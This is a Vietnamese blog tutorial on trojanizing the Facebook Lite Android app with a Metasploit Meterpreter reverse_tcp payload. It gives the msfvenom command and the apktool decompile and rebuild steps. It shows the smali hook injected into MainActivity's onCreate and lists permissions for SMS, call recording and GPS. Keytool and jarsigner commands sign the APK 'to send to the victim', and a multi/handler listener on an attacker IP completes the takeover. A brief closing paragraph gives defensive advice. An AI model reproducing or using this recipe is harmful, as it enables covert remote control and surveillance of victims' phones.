Giới thiệu

Trong bài trước tôi đã đưa ra cách tạo mã độc trên android. Hôm nay tôi sẽ nhúng đoạn mã độc ấy vào bất kỳ ứng dụng android nào mà không làm thay đổi hoạt động của ứng dụng ấy. Trước tiên ta cần cài các gói thư viện cần thiết bằng lệnh: “apt-get install lib32stdc++6 lib32ncurses5 lib32z1”

Ứng dụng, tôi sử dụng là facebook-lite liên kết tại: https://play.google.com/store/apps/details?id=com.facebook.lite , và để có thể nhúng mã độc vào ứng dụng trên, ta sẽ làm theo 7 bước:

  1. Tạo Meterpreter payload
  2. Biên dịch payload và ứng dụng facebook lite
  3. Chép đoạn payload vào bên trong source code của ứng dụng
  4. Chèn đoạn hook để chạy activity độc từ ứng dụng
  5. Chèn permissions vào bên trong file AndroidManifest.xml
  6. Đóng gói lại ứng dụng sau khi chỉnh sửa xong
  7. Tạo chữ ký cho ứng dụng để có thể đẩy cho nạn nhân

1. Khởi tạo Payload

Máy ta sử dụng là Kali Linux. Trước tiên ta sử dụng công cụ msfvenom để tạo mã độc – với payload mang tên meterpreter.apk

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.27 LPORT=4444 -o meterpreter.apk

metasploit

Ở đây ta có thể sử dụng payload khác như:

  • reverse_tcp
  • reverse_http
  • reverse_https

LHOST: là địa chỉ IP máy người tấn công

LPORT: là port máy người tấn công

2. Biên dịch APK

Để có thể biên dịch APK (decompile) ta nên sử dụng chương trình apktool phiên bản 2.0 trở lên

Tải phần apktool tại liên kết:  http://ibotpeaches.github.io/Apktool/

apktool d -f -o <thư mục đường dẫn> <tên file apk>

apktool

Bằng cách này ta đã xuất source code sau khi được biên dịch vào 2 thư mục là payload và fb_code

3. Copy Payload

Ở đây ta sẽ sao chép thư mục /root/Desktop/payload/smali/com/metasploit vào /root/ Desktop/fb_code/smali/com/metasploit

smali code

4. Chèn mã Hook vào trong smali code của ứng dụng fb-lite

Ta tìm đến tập tin AndroidManifest .xml tại đường dẫn /root/Desktop/fb_code và dùng gedit để mở file lên chỉnh sửa. Ở đây ta tìm đến thẻ ACTIVITY đầu tiền

android manifest

Như trên hình android:name=”com.facebook.lite.MainActivity” chính là activity chính của ứng dụng. Từ yếu tố này ta suy ra được đường dẫn chứa activity này /root/fb_code/smali/Activity_Pathsmali code

Ta tìm tới đoạn code sau

;->onCreate(Landroid/os/Bundle;)V

Sau đó ta thêm ở dưới dòng đó đoạn:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

5. Chèn các Permission cần thiết cho Payload

android manifest

Các permission trên nhằm mục đích cho phép ứng dụng kết nối mạng để kết nối ngược về máy người tấn công, kiểm tra chế độ trên điện thoại, gửi và nhận SMS, ghi âm cuộc gọi, gọi điện thoại, tìm vị trí GPS

6. Đóng gói lại source code

Ta dùng lệnh apktool b /root/Desktop/fb_code để đóng gói lại thành apk sau khi tinh chỉnh xong

apktool

Sau khi quá trình hoàn tốt, file apk sẽ nằm trong thư mục dist. Tuy nhiên ta cần phải ký file apk này để có thể gửi cho nạn nhân

7. Tạo chữ ký

Cũng giống như bài trước, ta sẽ tạo chữ ký bằng keytool

keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

keytool

Và tích hợp nó vào ứng dụng bằng jarsigner

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore fb_lite.apk alias_name

jarsigner

Tiếp theo ta sẽ gửi máy này cho nạn nhân – ở đây tôi sử dụng máy ảo genymotion để chạy ứng dụng. Bên máy tấn công ta khởi chạy metasploit để tạo kết nối tới máy nạn nhân

#msfconsole

#use exploit/multi/handler

#set PAYLOAD android/meterpreter/reverse_tcp

#set LHOST 192.168.1.27

#set LPORT 4444

#exploit

Và quá trình tấn công hoàn tất khi máy nạn nhân cài ứng dụng vào

fb lite

Ứng dụng xài bình thường như FB LITE, không bị thay đổi cấu trúc

metasploit

Người tấn công đã toàn quyền điều khiển vào máy nạn nhân

Kết luận: Qua bài viết này tôi muốn chia sẻ tới người dùng lời khuyên nên tải và sử dụng ứng dụng tại các kho Android thật sự tin cậy như Google Play, Amazon, v.v… Về phía người lập trình viên, họ cần có cơ chế obfuscate mã nguồn để tránh việc người tấn công chèn mã độc vào ứng dụng.